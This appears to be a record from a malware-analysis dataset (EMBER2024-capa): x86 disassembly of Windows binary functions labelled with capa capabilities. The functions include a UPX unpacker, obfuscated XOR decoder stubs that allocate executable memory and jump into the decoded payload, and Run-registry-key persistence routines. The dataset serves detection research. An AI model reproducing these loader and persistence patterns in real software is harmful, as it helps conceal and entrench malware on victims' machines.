joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c5a0
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x40c728
pushal
mov esi, section.UPX1
lea edi, [esi - 0x9000]
push edi
or ebp, 0xffffffff
jmp 0x40c5ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40c5d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40c5c0
mov eax, 1
add ebx, ebx
jne 0x40c5e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40c5d8
jne 0x40c5f4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40c5d8
xor ecx, ecx
sub eax, 3
jb 0x40c608
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40c67a
mov ebp, eax
add ebx, ebx
jne 0x40c613
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40c620
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40c644
inc ecx
add ebx, ebx
jne 0x40c630
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40c625
jne 0x40c641
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40c625
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40c664
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40c655
jmp 0x40c5c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40c664
add edi, ecx
jmp 0x40c5c6
pop esi
mov edi, esi
mov ecx, 0x1d1
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40c682
cmp byte [edi], 0
jne 0x40c682
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40c687
lea edi, [esi + 0xa000]
mov eax, dword [edi]
or eax, eax
je 0x40c6f6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xc0b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xc114]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40c6b4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xc118]
or eax, eax
je 0x40c6f0
mov dword [ebx], eax
add ebx, 4
jmp 0x40c6d1
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x40c727
cmp al, 0xef
ja 0x40c71a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x40c6fc
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x40c709
popal
jmp 0x404af8
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x41800aa6
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data_1
nop
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x277f70c2
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x6bac1e60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x6bac1ebb
cmp byte [esi + ebx - 1], 0xa
je 0x6bac1e8f
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x6bac3118], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x414838
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44ec90]
jne 0x414842
repz ret
jmp fcn.0041a6eb

Function at 0x419dfa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x419e09
pop dword [ebp - 0xc]
mov eax, 0x4bfeb62c
add eax, 0xb442e7dd
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x5196c
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x943ab3d9
sub ecx, 0x943a5b4d
mov ebx, eax
mov esi, 0xee966db8
sub esi, 0xee4fbbb8
add esi, dword [ebp - 0xc]
mov edi, 0xc799eae0
add edi, 0x7b6507cb
add dword [ebp - 4], 0x38aedf32
mov edx, dword [esi]
add dword [ebp - 8], edi
add edx, edi
xor dword [ebp - 4], edi
mov dword [ebx], edx
xor dword [ebp - 4], edi
add ebx, 0x13945c0f
sub ebx, 0x13945c0b
add esi, 0x83d6a4f
sub esi, 0x83d6a4b
loop 0x419e63
add eax, 0x2617fdce
add eax, 0xd9e95735
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x8f4aadd8
add ecx, 0x70f55228
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x1001305b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1001306a
pop dword [ebp - 0x40]
mov eax, 0x1001306a
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xf30fa3d3
sub dword [ebp - 0x50], 0xa4bd5e88
mov dword [ebp - 0x4c], 0x181ca53e
add dword [ebp - 0x4c], 0x1a16a707
mov dword [ebp - 0x48], 0xc24b54f3
sub dword [ebp - 0x48], 0x75ff10c5
mov dword [ebp - 0x44], 0x89f828d
add dword [ebp - 0x44], 0xf7607d73
lea eax, [ebp - 0x50]
push eax
mov eax, 0xb032ad9e
add eax, 0x5fcf5266
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x12eb5f1d
add dword [ebp - 0x50], 0x61870a39
mov dword [ebp - 0x4c], 0x91252d70
add dword [ebp - 0x4c], 0xb0473405
mov dword [ebp - 0x48], 0xfc9d400a
sub dword [ebp - 0x48], 0x992dd39e
mov dword [ebp - 0x44], 0xa730ba19
add dword [ebp - 0x44], 0x58cf45e7
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3ce73
push 0
call eax
mov ecx, 0xb3032c1b
sub ecx, 0xb302e3a8
mov ebx, eax
mov edx, 0x98783bdd
add edx, 0x778a8023
add edx, dword [ebp - 0x40]
mov edi, 0x56bfeb78
add edi, 0xce3c26dc
xor dword [ebp - 0x2c], 0xa90d024d
mov esi, dword [edx]
add esi, edi
mov dword [ebx], esi
add dword [ebp - 0x28], eax
add ebx, 4
add edx, 0x5651341f
add edx, 0xa9aecbe5
loop 0x10013182
add eax, 0x1149f
mov ebx, eax
add eax, 0x416326e2
add eax, 0xbe9cd923
mov ecx, 0x41798d77
sub ecx, 0x31798d77
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x4017c0
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x4f2500]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
push 0x3f
lea ecx, [ebp - 0x10f]
push ebx
push ecx
mov dword [ebp - 0xcc], eax
mov byte [ebp - 0x110], bl
call fcn.004276b0
add esp, 0xc
push 0x3f
lea edx, [ebp - 0xa7]
push ebx
push edx
call fcn.004276b0
add esp, 0xc
push 0x3f
lea eax, [ebp - 0x67]
push ebx
push eax
mov byte [ebp - 0x68], bl
call fcn.004276b0
sub esp, 0x10
mov ecx, esp
push 0xffffffffffffffff
push ebx
lea edx, [ebp + 0xc]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], ebx
push edx
lea esi, [ebp - 0x110]
mov byte [ecx], bl
call fcn.004026c0
mov ecx, esi
call fcn.00401b10
mov ecx, 8
lea esi, [ebp - 0x110]
lea edi, [ebp - 0xc8]
rep movsd dword es:[edi], dword [esi]
mov ecx, 8
lea esi, [ebp - 0xf0]
lea edi, [ebp - 0x24]
rep movsd dword es:[edi], dword [esi]
xor esi, esi
lea esp, [esp]
mov edx, dword [ebp - 0xcc]
lea eax, [ebp - 0xc8]
push eax
mov ecx, esi
lea ebx, [ebp - 0x24]
call fcn.00401980
inc esi
cmp esi, 0x10
jl 0x401870
mov ecx, 8
mov esi, ebx
lea edi, [ebp - 0xa8]
rep movsd dword es:[edi], dword [esi]
mov ecx, 8
lea esi, [ebp - 0xc8]
lea edi, [ebp - 0x88]
rep movsd dword es:[edi], dword [esi]
xor eax, eax
movsx ecx, byte [eax + 0x4cb2a0]
movzx edx, byte [ebp + ecx - 0xa9]
movsx ecx, byte [eax + 0x4cb2a1]
mov byte [ebp + eax - 0x68], dl
movzx edx, byte [ebp + ecx - 0xa9]
movsx ecx, byte [eax + 0x4cb2a2]
mov byte [ebp + eax - 0x67], dl
movzx edx, byte [ebp + ecx - 0xa9]
movsx ecx, byte [eax + 0x4cb2a3]
mov byte [ebp + eax - 0x66], dl
movzx edx, byte [ebp + ecx - 0xa9]
mov byte [ebp + eax - 0x65], dl
add eax, 4
cmp eax, 0x40
jl 0x4018b1
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x20]
push ecx
call fcn.00401360
mov esi, 0x10
cmp dword [eax + 0x14], esi
jb 0x40191e
mov eax, dword [eax]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xcc]
mov dword [ecx + 0x300], edx
mov edx, dword [eax + 4]
mov dword [ecx + 0x304], edx
mov edx, dword [eax + 8]
mov dword [ecx + 0x308], edx
mov eax, dword [eax + 0xc]
mov dword [ecx + 0x30c], eax
cmp dword [ebp - 0xc], esi
jb 0x401958
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.00423310
add esp, 4
cmp dword [ebp + 0x20], esi
jb 0x401969
mov edx, dword [ebp + 0xc]
push edx
call fcn.00423310
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042292e
mov esp, ebp
pop ebp
ret 0x20
Function at 0x401d70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x4f2500]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
push 0xff
mov ebx, ecx
lea ecx, [ebp - 0x103]
push 0
push ecx
mov dword [ebp - 0x108], eax
mov byte [ebp - 0x104], 0
call fcn.004276b0
mov eax, dword [ebp + 0xc]
add esp, 0xc
test eax, eax
jle 0x401dec
push esi
mov esi, dword [ebp + 8]
push edi
sub esi, ebx
lea edi, [ebp - 0x104]
mov ecx, ebx
sub edi, ebx
mov ebx, eax
xor edx, edx
cmp byte [esi + ecx], 0x31
sete dl
xor eax, eax
cmp byte [ecx], 0x31
sete al
xor eax, edx
dec eax
neg eax
sbb al, al
add al, 0x31
mov byte [edi + ecx], al
inc ecx
dec ebx
jne 0x401dc6
mov eax, dword [ebp + 0xc]
pop edi
pop esi
push eax
mov eax, dword [ebp - 0x108]
lea edx, [ebp - 0x104]
push edx
push eax
call fcn.004268b0
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
pop ebx
call fcn.0042292e
mov esp, ebp
pop ebp
ret 0xc

Function at 0x401f60
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4f2500]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x1c]
xor eax, eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, ecx
mov byte [ebp - 0x24], al
mov dword [ebp - 0x23], eax
mov dword [ebp - 0x1f], eax
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
push esi
lea esp, [esp]
mov esi, ebx
cmp edx, 0x10
jae 0x401faa
lea esi, [ebp + 8]
movsx ecx, byte [eax + 0x4cb280]
mov cl, byte [ecx + esi - 1]
mov byte [ebp + eax - 0x24], cl
mov esi, ebx
cmp edx, 0x10
jae 0x401fc3
lea esi, [ebp + 8]
movsx ecx, byte [eax + 0x4cb281]
mov cl, byte [ecx + esi - 1]
mov byte [ebp + eax - 0x23], cl
mov esi, ebx
cmp edx, 0x10
jae 0x401fdc
lea esi, [ebp + 8]
movsx ecx, byte [eax + 0x4cb282]
mov cl, byte [ecx + esi - 1]
mov byte [ebp + eax - 0x22], cl
mov esi, ebx
cmp edx, 0x10
jae 0x401ff5
lea esi, [ebp + 8]
movsx ecx, byte [eax + 0x4cb283]
mov cl, byte [ecx + esi - 1]
mov byte [ebp + eax - 0x21], cl
add eax, 4
cmp eax, 0x20
jl 0x401fa0
mov ecx, 8
lea esi, [ebp - 0x24]
rep movsd dword es:[edi], dword [esi]
pop esi
cmp edx, 0x10
jb 0x402025
push ebx
call fcn.00423310
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0042292e
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x402e80
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
mov eax, dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402e98
pop edi
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402eca
mov ecx, dword [ebp + 8]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, esi
and edi, 0xf
jbe 0x402ec6
cmp esi, eax
jae 0x402eca
dec edi
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x402eb8
cmp esi, eax
jb 0x402ed0
pop esi
xor eax, eax
pop edi
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebp
ret
Function at 0x403090
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
push ebx
push esi
push edi
mov esi, eax
je 0x403193
push 0x10280
call fcn.00420929
push 0x10280
mov edi, eax
call fcn.00420929
mov ecx, dword [ebp + 0x1c]
mov ebx, eax
lea eax, [ebp + 0x20]
push eax
push ecx
push 0x812b
push edi
call fcn.004236c2
add esp, 0x18
test eax, eax
js 0x40310c
cmp eax, 0x812b
ja 0x40310c
jne 0x4030e6
xor edx, edx
mov word [edi + 0x10256], dx
mov ecx, dword [ebp + 0x18]
mov eax, dword [ebp + 0xc]
dec eax
mov edx, dword [ebp + 0x10]
push edi
push esi
push ecx
push edx
je 0x403129
dec eax
je 0x40311e
dec eax
mov eax, dword [ebp + 0x14]
push eax
mov eax, 0x10258
je 0x403117
push str.UNKNOW
jmp 0x403137
xor eax, eax
mov word [edi + 0x10256], ax
jmp 0x403179
push str.FATAL
jmp 0x403137
mov eax, dword [ebp + 0x14]
push eax
push str.ERROR
jmp 0x403132
mov eax, dword [ebp + 0x14]
push eax
push str.INFO
mov eax, 0x10258
push str.___ws__6d___20ws:_5d___64ws___ws
call fcn.00403030
add esp, 0x1c
mov eax, ebx
lea esi, [ebp + 8]
call fcn.004032d0
mov ecx, esi
call fcn.00403bb0
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403174
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
call fcn.00403270
test edi, edi
je 0x403186
push edi
call fcn.00423305
add esp, 4
test ebx, ebx
je 0x403193
push ebx
call fcn.00423305
add esp, 4
cmp dword [0x4f6d1c], 0
je 0x403264
push 0x10280
call fcn.00420929
push 0x10280
mov esi, eax
call fcn.00420929
mov edx, dword [ebp + 0x1c]
lea ecx, [ebp + 0x20]
push ecx
push edx
push 0x812b
push esi
mov ebx, eax
call fcn.004236c2
add esp, 0x18
test eax, eax
js 0x403209
cmp eax, 0x812b
ja 0x403209
jne 0x4031e4
xor eax, eax
mov word [esi + 0x10256], ax
mov eax, dword [ebp + 0xc]
dec eax
mov edx, dword [ebp + 0x18]
mov ecx, dword [ebp + 0x14]
push esi
push edx
je 0x403227
dec eax
je 0x40321b
dec eax
mov eax, dword [ebp + 0x10]
push eax
push ecx
mov eax, 0x10258
je 0x403214
push str.UNKNOW
jmp 0x403236
xor ecx, ecx
mov word [esi + 0x10256], cx
jmp 0x40324a
push str.FATAL
jmp 0x403236
mov eax, dword [ebp + 0x10]
push eax
push ecx
push str.ERROR
jmp 0x403231
mov eax, dword [ebp + 0x10]
push eax
push ecx
push str.INFO
mov eax, 0x10258
push str.___ws__6d___20ws:_5d_____ws
call fcn.00403030
add esp, 0x18
push ebx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
test esi, esi
je 0x403257
push esi
call fcn.00423305
add esp, 4
test ebx, ebx
je 0x403264
push ebx
call fcn.00423305
add esp, 4
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x404830
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [edi]
lea ecx, [ebp - 4]
push ecx
mov ecx, dword [ebp + 8]
push esi
add eax, eax
lea edx, [ebp + 0xc]
push edx
mov edx, dword [ecx]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push 0
push eax
push edx
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40489e
mov eax, dword [ebp + 0xc]
cmp eax, 1
je 0x40486d
cmp eax, 2
jne 0x404888
mov eax, dword [ebp - 4]
test esi, esi
je 0x404898
test eax, eax
je 0x404893
test al, 1
jne 0x404888
mov ecx, eax
shr ecx, 1
cmp word [esi + ecx*2 - 2], 0
je 0x404898
mov eax, 0xd
mov esp, ebp
pop ebp
ret 8
xor edx, edx
mov word [esi], dx
shr eax, 1
mov dword [edi], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 8

Function at 0x4048b0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x138
mov eax, dword [0x4f2500]
xor eax, esp
mov dword [esp + 0x134], eax
cmp dword [ebp + 8], 0
push ebx
push esi
mov ebx, ecx
je 0x404992
lea esi, [esp + 0xc]
call fcn.004049c0
test ebx, ebx
jne 0x4048e9
xor eax, eax
jmp 0x4048ff
mov eax, ebx
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4048f0
sub eax, edx
sar eax, 1
push ebx
lea ecx, [esp + 0x10]
push ecx
mov ebx, eax
call fcn.00403580
push 0x4cb7cc
lea edx, [esp + 0x18]
push edx
mov ebx, 6
call fcn.00403580
push 0x4cb44c
lea eax, [esp + 0x1c]
push eax
xor ebx, ebx
call fcn.00403580
lea ecx, [esp + 0x20]
push ecx
mov dword [esp + 0x20], 0x28
mov dword [esp + 0x24], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [esp + 0x24], 6
jb 0x404964
lea edx, [esp + 0xc]
push edx
push edi
call fcn.00404aa0
mov ebx, eax
test ebx, ebx
jne 0x404971
lea ecx, [esp + 0xc]
mov ebx, edi
call fcn.004063b0
mov ebx, eax
lea esi, [esp + 0xc]
call fcn.00404a20
mov eax, ebx
pop esi
pop ebx
mov ecx, dword [esp + 0x134]
xor ecx, esp
call fcn.0042292e
mov esp, ebp
pop ebp
ret 4
push edi
call fcn.00405ea0
push edi
call fcn.00406510
mov ecx, dword [esp + 0x13c]
pop esi
pop ebx
xor ecx, esp
call fcn.0042292e
mov esp, ebp
pop ebp
ret 4
Function at 0x4063b0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x4f2500]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x210]
push eax
xor edi, edi
push 0x2001f
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
mov esi, ecx
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x220], edi
mov dword [ebp - 0x21c], edi
mov dword [ebp - 0x210], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, edi
jne 0x4064fc
mov ecx, dword [ebp - 0x210]
mov edx, dword [0x4f36ec]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x224], ecx
mov ecx, 0x4f36ec
mov dword [ebp - 0x220], edi
call eax
mov ecx, dword [esi + 8]
mov edx, dword [esi]
push ecx
push edx
add eax, 0x10
push str.__s___s
lea edi, [ebp - 0x214]
mov dword [ebp - 0x214], eax
call fcn.00404650
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.004276b0
add esp, 0x18
push ebx
lea ecx, [ebp - 0x224]
push ecx
lea edi, [ebp - 0x218]
lea esi, [ebp - 0x20c]
mov dword [ebp - 0x218], 0x104
call fcn.00404830
mov edx, esi
mov esi, dword [ebp - 0x214]
push edx
push esi
call fcn.00424db2
add esp, 8
test eax, eax
je 0x4064ba
test esi, esi
je 0x4064ba
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x210]
lea eax, [eax + eax + 2]
push eax
push esi
push 1
push 0
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add esi, 0xfffffff0
lea edx, [esi + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jg 0x4064d6
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
mov eax, dword [ebp - 0x210]
test eax, eax
je 0x4064e7
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042292e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.0042292e
mov esp, ebp
pop ebp
ret

Function at 0x406510
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x406560
mov ecx, dword [ebp + 8]
push esi
mov esi, dword [ebp - 4]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test esi, esi
je 0x406554
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 4
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x406570
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x4f2500]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x210]
push eax
xor ebx, ebx
push 0x2001f
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
mov esi, ecx
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x21c], ebx
mov dword [ebp - 0x218], ebx
mov dword [ebp - 0x210], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x406656
mov ecx, dword [ebp - 0x210]
push edi
push 0x208
lea edx, [ebp - 0x20c]
push ebx
push edx
mov dword [ebp - 0x220], ecx
mov dword [ebp - 0x21c], ebx
call fcn.004276b0
add esp, 0xc
push esi
lea eax, [ebp - 0x220]
push eax
lea edi, [ebp - 0x214]
lea esi, [ebp - 0x20c]
mov dword [ebp - 0x214], 0x104
call fcn.00404830
pop edi
test eax, eax
jne 0x406645
cmp word [ebp - 0x20c], bx
je 0x406645
mov eax, dword [ebp - 0x210]
cmp eax, ebx
je 0x406630
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042292e
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x210]
cmp eax, ebx
je 0x406656
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0042292e
mov esp, ebp
pop ebp
ret
Function at 0x409290
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x4f2500]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0x228
lea eax, [ebp - 0x22c]
push 0
push eax
mov dword [ebp - 0x230], 0
call fcn.004276b0
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x230]
mov edi, eax
push ecx
mov ebx, 0x22c
push edi
mov dword [ebp - 0x238], edi
mov dword [ebp - 0x230], ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4093cd
lea edx, [ebp - 0x230]
push edx
push edi
mov dword [ebp - 0x230], ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x4093c6
jmp 0x409320
mov eax, dword [0x4f36ec]
mov edx, dword [eax + 0xc]
mov ecx, 0x4f36ec
call edx
lea ebx, [eax + 0x10]
mov dword [ebp - 0x234], ebx
test esi, esi
je 0x4093df
test esi, 0xffff0000
jne 0x4093fb
movzx edi, si
call fcn.00402ee0
test eax, eax
je 0x40936c
push eax
mov eax, edi
lea edi, [ebp - 0x234]
call fcn.004034e0
mov ebx, dword [ebp - 0x234]
mov edi, dword [ebp - 0x238]
lea edx, [ebp - 0x20c]
push edx
push ebx
call fcn.00424db2
add esp, 8
test eax, eax
lea eax, [ebx - 0x10]
je 0x409429
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4093a6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [ebp - 0x230]
push ecx
push edi
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x409320
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042292e
mov esp, ebp
pop ebp
ret
xor eax, eax
push esi
lea ecx, [ebp - 0x234]
push ecx
mov ebx, eax
call fcn.00403580
mov ebx, dword [ebp - 0x234]
jmp 0x409372
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409400
sub eax, edx
sar eax, 1
push esi
lea ecx, [ebp - 0x234]
push ecx
mov ebx, eax
call fcn.00403580
mov ebx, dword [ebp - 0x234]
jmp 0x409372
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x409442
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0042292e
mov esp, ebp
pop ebp
ret